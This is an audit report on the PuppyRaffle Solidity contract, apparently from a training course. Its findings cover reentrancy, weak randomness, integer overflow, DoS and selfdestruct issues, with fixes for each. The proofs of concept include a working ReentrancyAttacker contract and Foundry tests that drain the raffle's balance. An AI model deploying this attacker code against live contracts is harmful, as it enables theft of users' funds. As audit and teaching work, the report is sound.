Puppy Raffle Protocol Audit Report

Version 1.0

E.A Research

July 25, 2024

Puppy Raffle Protocol Audit Report

Emmanuel Acho, PhD

July 25, 2024

Prepared by: [Emmanuel Acho, PhD]

Table of Contents

- Medium
  - [M-1] Looping through the players array to check for duplicate entries in `PuppyRaffle::enterRaffle` can lead to a Denial of Service (DoS) as gas costs are incremented for future entrants.
    - Likelihood & Impact
  - [M-2] Unsafe cast of `PuppyRaffle::fee` can lead to a loss of fees
  - [M-3] Raffle winners with smart contracts without a `receive` function will not be able to cash out on their prize which will block the start of a new contest.
  - [M-4] Balance check on `PuppyRaffle::withdrawFees` makes it possible for a malicious user to selfdestruct a contract to send ETH to the raffle, blocking withdrawals
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns `0` for non-existent and `PuppyRaffle::players[0]` causing the latter to incorrectly think they haven't entered the raffle.
- Gas
  - [G-1] State Variables that do not change should be either declared as immutable or constant
  - [G-2] Use cache for storage variables in a loop
- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2] Outdated Version of Solidity In Use: Unrecommended.
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not folloe CEI which is not best practice.
  - [I-5] `PuppyRaffle::selectWinner` makes use of magic numbers which can be confusing in a codebase.
  - [I-6] _isActivePlayer is never used and should be removed

Protocol Summary

This protocol enables users to a raffle to win a cute dog NFT. The protocol does the following: 1. Users Call the `enterRaffle` function with a list of participants passed on in an address array `address[] participants`. 2. Duplicate address are not allowed. 3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function 4. Every X seconds, the raffle draws a winner send them the price and mints them an NFT 5. The owner of the protocol set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy NFT.

Disclaimer

The E.A Research team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
@> PuppyRaffle.sol
```

Roles

1. Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
2. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund`function.

Executive Summary

Many Thanks to Cyfrin Updraft for this guided audit!!

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Gas	2
Info	6
Total	16

Findings

High

[H-1] Reentrancy Attack in `PuppyRaffle::refund` will allow a user to drain the raffle balance

IMPACT: HIGH LIKELIHOOD: HIGH

Description The `PuppyRaffle::Refund` does not follow the `CEI` (Checks, Effects, Interactions) pattern as an external call to the `msg.sender` is made before updating `PuppyRaffle::players` array. This makes it possible for a participant to repeatedly call the `PuppyRaffle::Refund` function.

Code

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
```

```
9               "PuppyRaffle: Player already refunded, or is not active"
10          );
11  @>      payable(msg.sender).sendValue(entranceFee);
12  @>      players[playerIndex] = address(0);
13          emit RaffleRefunded(playerAddress);
14      }
```

A player with a `receive`/`fallback` function could repeatedly call the refund function till the contract balance is drained.

Impact All of the entrance fees paid by participants could be drained by a malicious participant.

Proof of Concept

1. A User enters the raffle
2. An attacker sets up an attack contract with a `receive` function that checks that `PuppyRaffle::address(puppyRaffle).balance >= entranceFee` and calls `PuppyRaffle::Refund`.
3. The attacker enters the raffle and calls `PuppyRaffle::Refund` from their contract, draining its balance.

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1  function testReentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10             puppyRaffle
11         );
12         address attackUser = makeAddr("attackUser");
13         vm.deal(attackUser, 1 ether);
14         // vm.deal(address(attackerContract), 1 ether);
15
16         uint256 startingAttackerContractBalance = address(
               attackerContract)
17             .balance;
18         uint256 startingPuppyRaffleBalance = address(puppyRaffle).
               balance;
19
20         vm.prank(attackUser);
21         // vm.prank(address(attackerContract));
22         attackerContract.attack{value: entranceFee}();
```

```
23
24          console.log(
25              "starting Attacker Contract Balance: ",
26              startingAttackerContractBalance
27          );
28          console.log(
29              "starting Puppy Raffle Balance: ",
30              startingPuppyRaffleBalance
31          );
32
33          console.log(
34              "ending Attacker Contract Balance: ",
35              address(attackerContract).balance
36          );
37          console.log(
38              "ending Puppy Raffle Balance: ",
39              address(puppyRaffle).balance
40          );
41      }
```

As well as the following contract

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     function _drain() internal {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24
25     fallback() external {
26         _drain();
27     }
28
```

```
29      receive() external payable {
30          _drain();
31      }
32  }
```

Recommended Mitigation

The `PuppyRaffle::refund` function should update the players array before making the external call and move the `PuppyRaffle::RaffleRefunded` event up as well.

Code

```
1       function refund(uint256 playerIndex) public {
2               address playerAddress = players[playerIndex];
3               require(
4                   playerAddress == msg.sender,
5                   "PuppyRaffle: Only the player can refund"
6               );
7               require(
8                   playerAddress != address(0),
9                   "PuppyRaffle: Player already refunded, or is not active
                        "
10              );
11  +           players[playerIndex] = address(0);
12  +           emit RaffleRefunded(playerAddress);
13              payable(msg.sender).sendValue(entranceFee);
14  -           players[playerIndex] = address(0);
15  -           emit RaffleRefunded(playerAddress);
16              }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` makes it possible for users to influence the outcome of the raffle and/or predict the winner as well as the winning puppy.

IMPACT: HIGH LIKELIHOOD: HIGH

Description The hashing of `block.timestamp`, `msg.sender`, and `block.difficulty` makes it possible to predict the `uint256 winnerIndex`. A predictable `uint256 winnerIndex` is not a good random number. A malicious user can either manipulate these values or predict them ahead of time. Additionally, there is a front-running opportunity for users who will call `refund` if they see they are not the winner of the raffle.

Impact

Users can influence the winner of the raffle in order to win both the money and the `rarest` puppy. This makes the raffle worthless as it may become a gas war to decide who wins the raffle.

Proof of Concept

1. Validators can predict ahead of time the `block.timestamp` and `block.difficulty` and use them to predict when/how to participate in the raffle. Consult the [solidity blog] (https://soliditydeveloper.com/prevrandao) that describes the recent replacement of `block.difficulty` with prevrandao.
2. Users can also manipulate their `msg.sender` value to influence an outcome that favours them.
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Recommended Mitigation Rather than relying on on-chain values as seeds for randomnees, the use of a cryptographically provable RNG such as chainlink VRF in combination with chainlink automation for the winner selection process will result in a fairer and more robust raffle draw.

[H-3] Integer Overflow in `PuppyRaffle::totalFees` can lead to a significant loss of funds.

Description Integers in solidity versions prior to `0.8.0` were subject to integer overflows.

Code

```
uint64 myUint64 = type(uint64).max // 18446744073709551615
myUint64 = myUint64 + 1 // results in 0 due to wrapping around to the
    minimum when the value.
```

Impact The `PuppyRaffle::selectWinner` accumulates `totalFees` for the `feeAddress` for collection using `PuppyRaffle:withdrawFees`. However, if the `totalFees` a `uint64` variable overflows and wraps to zero, the `feeAddress` may not collect the fees accumulated to the point of withdrawal leaving fees permanently stuck in the contract.

Proof of Concept 1. Finalise a raffle of 4 players with `selectWinner` 2. Calculate the expected fees to collect 3. Enter a second raffle with 89 players 4. Get the expected fees to collect 5. conclude the raffle 6. Observe that the total fees collected (153255926290448384) is less than the expected fees total collected (17800000000000000000) from both raffles. 7. Due to the line below in `PuppyRaffle::withdrawFees`, you will not be able to withdraw the fees.

```
require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

Place the following into `PuppyRaffleTest.t.sol`

Code

```
function testTotalFeesOverflow() public playersEntered {
        // players entered is the first raffle with 4 players
```

```
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 totalAMountCollected_One = entranceFee * 4;
        uint256 expectedFeesCollected_One = ((entranceFee * 4) * 20) / 100;
        console.log("total initial amountCollected: ", totalAMountCollected_One); // 40000000000000000
        console.log("expected fees collected: ", expectedFeesCollected_One); // 80000000000000000
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("starting total fees: ", startingTotalFees); // 800000000000000000
        assertEq(startingTotalFees, expectedFeesCollected_One);

        // Enter a new raffle with 89 players
        uint256 numberOfPlayers = 89;
        address[] memory players = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            players[i] = address(i);
        }
        uint256 totalAmountCollected_Two = entranceFee * numberOfPlayers;
        //puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(players);
        puppyRaffle.enterRaffle{value: totalAmountCollected_Two}(players);
        console.log("second raffle amount collected: ", totalAmountCollected_Two); // 89000000000000000

        // Advance time to end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 expectedFeesCollected_Two = ((entranceFee * numberOfPlayers) * 20) / 100;
        console.log("second raffle expected fees collected: ", expectedFeesCollected_Two); // 178000000000000000
        console.log("length of players array ", puppyRaffle.getPlayersLength()); // This is to confirm that the players array is empty
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees: ", endingTotalFees); // 153255926290448384
        // get the expected total fees to be collected from the two raffles
        uint256 expectedTotalFees = expectedFeesCollected_One + expectedFeesCollected_Two;
        // assert that the ending total fees is less than the starting total fees due to overflow and wrap around to the minimum
```

```
            value
38          assert(endingTotalFees < startingTotalFees);
39          // assert that the ending total fees is less than the expected
                total fees
40          assert(endingTotalFees < expectedTotalFees);
41
42          // Withdraw fees is going to fail because the new fee value
                causes an overflow seeing as totalFees is a uint64
43          vm.prank(puppyRaffle.feeAddress());
44          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
45          puppyRaffle.withdrawFees();
46      }
```

Recommended Mitigation 1. Use a newer version of solidity and a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees` 2. The `safeMath` from OpenZeppelin for the `0.7.6` version of solidity but this does not solve the problem with `uint64` if too much fees is collected. 3. the balance check from `PuppyRaffle::withdrawFees` can also be removed.

Medium

[M-1] Looping through the players array to check for duplicate entries in `PuppyRaffle::enterRaffle` can lead to a Denial of Service (DoS) as gas costs are incremented for future entrants.

Likelihood & Impact

- Impact: Medium - It will be increasingly expensive for users to use the protocol
- Likelihood: Medium - It will be expensive for an attacker to exploit the vulnerability
- Severity: High: There is a direct impact on the functionality of the protocol.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, as the `PuppyRaffle::players` array grows in length, it becomes increasingly more expensive for new players to enter the raffles as new players will have to incur the added cost of implied checks. Hence, it is cheaper for early entrants to participate in the raffle than it is for late entrants.

```
1  // @audit Dos Attack
2    for (uint256 i = 0; i < players.length - 1; i++) {
3      for (uint256 j = i + 1; j < players.length; j++) {
4          require(players[i] != players[j], "PuppyRaffle: Duplicate
               player");
5          }
6      }
```

Impact: The gas cost for raffle entrants will increase as more players enter the raffle which may either discourage subsequent users from entering the raffle or casuse a rush at the start of the raffle by users seeking to avoid paying more to participate at a later time. Also, an attacker might want to make the `PuppyRaffle::players` array big enough to discourage other participants from entering the raffle so they can guarantee themselves the win.

Proof of Concept:

With two sets of 100 players entering the raffle, gas costs for the second set will be almost three times the cost of the first set.

PoC

The following can be added to the `PuppyRaffleTest.t.sol` test file to illustrate the vulnerability.

```
1     function test_DenialofService() public {
2         // address[] memory players = new address[](1);
3         // players[0] = playerOne;
4         // puppyRaffle.enterRaffle{value: entranceFee}(players);
5         // assertEq(puppyRaffle.players(0), playerOne);
6         vm.txGasPrice(1);
7         uint256 numberOfPlayers = 100;
8 
9           // first batch of players
10        address[] memory players = new address[](numberOfPlayers);
11        for (uint256 i = 0; i < numberOfPlayers; i++) {
12            players[i] = address(i);
13        }
14 
15        uint256 initialGas = gasleft();
16        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
              players);
17        uint256 finalGas = gasleft();
18        uint256 gasUsedFirst = (initialGas - finalGas) * tx.gasprice;
19        console.log("Cost of gas for first 100: ", gasUsedFirst); //
              6252047
20 
21        // second batch of players
22        address[] memory players2 = new address[](numberOfPlayers);
23        for (uint256 i = 0; i < numberOfPlayers; i++) {
24            players2[i] = address(i + numberOfPlayers); // to avoid
                  duplicate players, 0, 1, 3, ==> 100, 101, 102
25        }
26 
27        uint256 initialGas2 = gasleft();
28        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
              players2);
29        uint256 finalGas2 = gasleft();
30        uint256 gasUsedSecond = (initialGas2 - finalGas2) * tx.gasprice
```

```
            ;
31          console.log("Cost of gas for second 100: ", gasUsedSecond); //
               18068137
32
33          assert(gasUsedSecond > gasUsedFirst);
34      }
```

Recommended Mitigation 1. Consider allowing duplicates seeing as users can make new wallet addresses. A duplicate check is restricted to the wallet address and not the user. 2. Consider using a mapping to check for duplicates

PoC

The following can be added to the `PuppyRaffleTest.t.sol` test file to illustrate the vulnerability.

```
1  // Create a mapping that maps each player's address to a unique raffle
      ID
2  +    mapping(address => uint256) public addressToRaffleId;
3  // Create a variable to hold the current raffle ID
4  +    uint256 public raffleId = 0;
5      .
6      .
7      .
8      function enterRaffle(address[] memory newPlayers) public payable {
9          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
10         for (uint256 i = 0; i < newPlayers.length; i++) {
11             players.push(newPlayers[i]);
12 +       addressToRaffleId[newPlayers[i]] = raffleId;
13         }
14
15 -       // check for duplicates
16 +       // Check for duplicates only from the new players array to
      ensure they do not have a raffle id
17 +       for (uint256 i = 0; i < newPlayers.length; i++) {
18 +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
      PuppyRaffle: Duplicate player");
19 +       }
20 -        for (uint256 i = 0; i < players.length; i++) {
21 -            for (uint256 j = i + 1; j < players.length; j++) {
22 -                require(players[i] != players[j], "PuppyRaffle:
      Duplicate player");
23 -            }
24 -        }
25         emit RaffleEnter(newPlayers);
26     }
27 .
28 .
29 .
```

```
30 // Increment the raffle ID after each raffle to ensure players can
       participate in subsequent raffles without being flagged as
       duplicates.
31     function selectWinner() external {
32 +       raffleId = raffleId + 1;
33         require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
34     }
```

Note The finding below is very similar to [H-3] and was therefore simply copy pasted from @Patrick's repo with a few modifications to enhance readability. ### [M-2] Unsafe cast of `PuppyRaffle::fee` can lead to a loss of fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
              );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
              sender, block.timestamp, block.difficulty))) % players.
              length;
6         address winner = players[winnerIndex];
7         uint256 fee = (totalAmountCollected * 20) / 100;
8         uint256 prizePool = (totalAmountCollected * 80) / 100;
9 @>      totalFees = totalFees + uint64(fee); // if the value in uint256
       fee is larger than type(uint64).max, the value stored in totalFees
      will be truncated.
10    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

Code

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

Code

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Raffle winners with smart contracts without a `receive` function will not be able to cash out on their prize which will block the start of a new contest.

Description There could be cases where the winner of a Raffle is a smart contract. While the `PuppyRaffle::selectWinner` function resets the Raffle, this would not be possible unless the smart contract comes with a `receive` or a `fallback` function and the lottery would be stuck and/or resetting the raffle could be challenging.

Impact Multiple reverts in the `PuppyRaffle::selectWinner` function would complicate resetting the lottery causing a disruption to its basic functionality/availability.

Proof of Concept 1. Multiple smart contract wallets enter the lottery. They neither have `fallback` nor

`receive` functions. 2. The lottery ends 3. The `selectWinner` function wouldn't work eventhough the lottery is over.

Recommended Mitigation 1. Restrict participation to EOAs only which will also restrict potential participants. 2. `Pull over Push`: Create a mapping of `addresses => payoutAmount` as well as a `withdrawPrize` function that enables winners to pull out funds themselves.

Note The following finding is a copy paste from @Patrick's report seeing as this was well discussed in the tutorial and covered in more detail under MEV attacks later on in the course. ### [M-4] Balance check on `PuppyRaffle::withdrawFees` makes it possible for a malicious user to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract causing this check to fail. Also, seeing as there is a check for exactly equality, malicious users could enter the raffle after it starts with will break the equality check.

Code

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

Code

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
```

```
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns `0` for non-existent and `PuppyRaffle::players[0]` causing the latter to incorrectly think they haven't entered the raffle.

Description: A player at index in the players array i.e. `PuppyRaffle::players[0]` will receive a `0` after calling this function as would players who are not in the array as per the natspec.

Code

```
1  /// @return the index of the player in the array, if they are not
       active, it returns 0
2  function getActivePlayerIndex(
3          address player
4      ) external view returns (uint256) {
5          for (uint256 i = 0; i < players.length; i++) {
6              if (players[i] == player) {
7                  return i;
8              }
9          }
10         return 0;
11     }
```

Impact: A player at index 0 in the players array i.e. `PuppyRaffle::players[0]` may attempt to enter the raffle multiple times wasting gas.

Proof of Concept:

1. Player enters the raffle being the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. Player mistakes the meaning of 0 thinking it means they entered incorrectly.

Code

The following can be added to the `PuppyRaffleTest.t.sol` test file to illustrate the vulnerability.

```
1      function testGetActivePlayerIndexReturnsZeroIfPlayerExists() public
           view {
```

```
        address[] memory players = new address[](1);
        players[0] = playerOne;
        uint256 playerIndex = puppyRaffle.getActivePlayerIndex(
            playerOne);
        assertEq(playerIndex, 0);
    }
```

Recommended Mitigation

The easiest fix would be to revert if the player is not in the array as opposed to returning 0

Code

```
function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
-       return 0;
+       revert("PuppyRaffle: Player is not active");
```

Alternatively, the 0th position could be reserved for any competion or an `int256` where the function returns `-1` if the player is not active.

Gas

[G-1] State Variables that do not change should be either declared as immutable or constant

Description & Recommended Mitigation:

Reading from storage tends to be more expensive than reading from a constant or immutable variable.

4 Found Instances

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Use cache for storage variables in a loop

Description & Recommended Mitigation Calling `players.length` in `PuppyRaffle::enterRaffle` reads from storage instead of reading from memory which is more gas efficient.

1 Found Instances

```
+       uint256 playersLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++)
-           for (uint256 j = i + 1; j < playersLength; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(
                    players[i] != players[j],"PuppyRaffle: Duplicate
                        player");

                }
            }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Description: The contract uses a wide version of solidity instead of a specific version.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 4

```
pragma solidity ^0.7.6;
```

Recommended Mitigation consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Outdated Version of Solidity In Use: Unrecommended.

Description: The protocol uses an outdated version of solidity. `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 4

```
pragma solidity ^0.7.6;
```

Impact: This can lead to overflow/underflow errors due to wrapping as is the case with the totalFees Overflow.

Recommended Mitigation - Please use a newer version like `0.8.18` - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. See [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) for more details.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 75

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 244

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not folloe CEI which is not best practice.

It is best to have tidy code that follows CEI (Checks, Effects, Interactions).

Code

```
1 -         (bool success, ) = winner.call{value: prizePool}("");
2 -        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3 +         _safeMint(winner, tokenId);
4 +         (bool success, ) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] `PuppyRaffle::selectWinner` makes use of magic numbers which can be confusing in a codebase.

It is preferable to use readable names.

Code

```
1 -         uint256 prizePool = (totalAmountCollected * 80) / 100;
2 -         uint256 fee = (totalAmountCollected * 20) / 100;
3
4 +         uint256 public constant PRIZE_POOL_PERCENTAGE = 80
```

```
+        uint256 public constant FEE_PERCENTAGE = 20
+        uint256 public constant POOL_PRECISION = 100
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

Code

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```